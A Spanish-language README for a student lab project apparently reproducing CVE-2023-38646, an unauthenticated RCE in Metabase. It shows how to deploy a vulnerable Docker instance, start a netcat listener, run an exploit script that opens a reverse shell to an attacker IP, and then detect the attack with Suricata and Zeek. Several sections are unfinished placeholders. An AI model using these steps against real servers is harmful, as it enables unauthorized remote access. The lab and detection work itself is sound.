
CVE-2023-38646
Este repositorio documenta un proyecto de investigación de seguridad tipo Prueba de Concepto (PoC) que analiza CVE-2023-38646, una vulnerabilidad crítica de Ejecución Remota de Código (RCE) sin autenticación que afecta a versiones vulnerables de Metabase.
El objetivo de este proyecto es demostrar el ciclo de vida completo de una vulnerabilidad real, incluyendo:
Este repositorio está diseñado para mostrar habilidades prácticas en:
CVE-2023-38646 es una vulnerabilidad crítica que afecta a ciertas versiones de Metabase, una plataforma de inteligencia empresarial y análisis de código abierto.
La vulnerabilidad permite a un atacante lograr ejecución remota de código sin autenticación aprovechando debilidades en el proceso de instalación o configuración de la aplicación.
Detalles clave:
La explotación exitosa permite a un atacante:
Referencias oficiales:
Este proyecto combina tanto herramientas de seguridad ofensiva como herramientas de monitorización defensiva.
Pendiente — describe la configuración de tu laboratorio
Ejemplo:
flowchart LR
A[Attacker] --> B[Vulnerable Metabase Instance]
B --> C[CVE-2023-38646 Exploit]
C --> D[Remote Code Execution]
D --> E[Reverse Shell Established]
E --> F[Command Execution on Target]
Este diagrama ilustra el flujo de ataque de alto nivel utilizado en este proyecto.
Instalación y configuración de Docker:
sudo apt update
sudo apt upgrade -y
sudo apt install docker.io -y
sudo systemctl start docker
sudo systemctl enable docker
sudo docker run hello-world
Inicio de Docker:
Se desplegó una instancia vulnerable de Metabase Enterprise (v1.44.0) usando Docker.
sudo docker run -d -p 3000:3000 --name metabase-enterprise metabase/metabase-enterprise:v1.44.0
Esto expone la interfaz web de Metabase en el puerto 3000, permitiendo el acceso a la página de configuración.
Si Docker ya está en ejecución, ejecuta las siguientes líneas de comando para empezar de nuevo:
sudo docker stop metabase-enterprise
sudo docker rm metabase-enterprise
'Configuración de Docker' Pendiente
Una vez que el contenedor está en ejecución, la interfaz de Metabase se vuelve accesible a través del navegador.
http://0.0.0.0:3000/setup -or- http://127.0.0.1:3000/setup
La página de configuración confirma que la instancia de Metabase está activa y lista para su configuración.
BurpSuite
Pendiente de capturas de pantalla o explicación
Antes de lanzar el exploit, se inicia un listener de Netcat en la máquina atacante para recibir la conexión de la shell inversa.
nc -lvnp 6666
Este listener espera conexiones entrantes del servidor Metabase explotado.
Pendiente de capturas de pantalla o explicación
python3 CVE-2023-38646-Reverse-Shell.py \ ---> Exploit Name
--rhost http://192.168.1.136:3000 \ ---> Targer IP Address
--lhost 192.168.1.137 \ ---> Attacker's IP Address
--lport 6666 ---> Attacker's Listening Port
El payload ejecuta un comando que establece una shell inversa de vuelta a la máquina atacante.
El listener de Netcat recibe la conexión, otorgando al atacante acceso de shell al sistema.
connect to [192.168.1.137] from 192.168.1.136
bash: cannot set terminal process group
bash: no job control in this shell
bash-5.1$
Para confirmar la conexión con el dispositivo de la víctima:
whoami
Salida:
connect to [192.168.1.137] from 192.168.1.136
bash: cannot set terminal process group
bash: no job control in this shell
bash-5.1$ whoami
whoami
metabase
bash-5.1$
Este proyecto también demuestra cómo se puede detectar la actividad de explotación mediante herramientas de monitorización de red.
Se utilizó Suricata (IDS) para monitorizar el tráfico de red en busca de patrones sospechosos asociados con el exploit.
sudo suricata -i eth0
Pendiente: inserta captura de pantalla de alerta de Suricata
evidence/detection/suricata_alert.png
Para observar las alertas en tiempo real, los registros de Suricata se monitorizaron usando:
tail -f /var/log/suricata/fast.log
Pendiente: inserta captura de pantalla del registro de Suricata
evidence/detection/suricata_log.png
Para un enfoque pasivo, se utilizó un script de notificación personalizado para generar alertas de escritorio cada vez que Suricata detecta tráfico sospechoso.
nohup ./suricata-popup-alert.sh >/dev/null 2>&1 &
Cuando se ejecutó el exploit, Suricata generó alertas indicando actividad sospechosa asociada con el intento de explotación de Metabase.
Pendiente: inserta captura de pantalla del registro de Suricata
evidence/detection/suricata_noti.png
Ejemplo:
Pendiente: inserta captura de pantalla del registro de Suricata
evidence/detection/suricata_noti.png
Además de la monitorización con IDS, se utilizó Zeek para analizar el tráfico de red e identificar comportamientos anómalos.
Zeek se inicia usando estos comandos para comenzar a capturar y analizar el tráfico de red:
sudo /usr/local/zeek/bin/zeek -i eth0
Pendiente: inserta captura de pantalla del inicio de Zeek
evidence/detection/zeek.png
Al inspeccionar los registros de conexión, se puede observar el tráfico de la shell inversa en el puerto 6666.
192.168.1.136 → 192.168.1.137:6666
Pendiente: inserta captura de pantalla del registro de Zeek
evidence/detection/zeek_log.png
Varias estrategias de mitigación pueden reducir el riesgo de explotación.
| Estrategia | Descripción |
|---|---|
| Gestión de parches | Actualizar Metabase a una versión que parchee CVE-2023-38646 |
| Cortafuegos de Aplicaciones Web (ModSecurity) | Filtrar solicitudes HTTP maliciosas |
cve-2023-38646-metabase-rce-research
│
├── exploit
│ └── metabase_reverse_shell.py
│
├── detection
│ ├── suricata
│ └── zeek
│
├── evidence
│ ├── exploitation
│ ├── detection
│ └── mitigation
│
├── docs
│ ├── report
│ └── presentation
│
└── demo
Este proyecto demuestra el ciclo de vida completo del análisis y la reproducción de una vulnerabilidad crítica real.
El PoC muestra:
El objetivo de este repositorio es proporcionar un caso de estudio técnico que ilustre prácticas de ciberseguridad tanto ofensivas como defensivas.
Styverson Ng
Bachelor of Information Technology
Artificial Intelligence & Autonomous Systems
Cyber Security & Cyber Forensics
Murdoch University
| Detección de intrusiones en el host (OSSEC) | Monitorizar comportamientos sospechosos del sistema |
| Monitorización de red (Suricata y Zeek) | Detectar patrones de tráfico anómalos |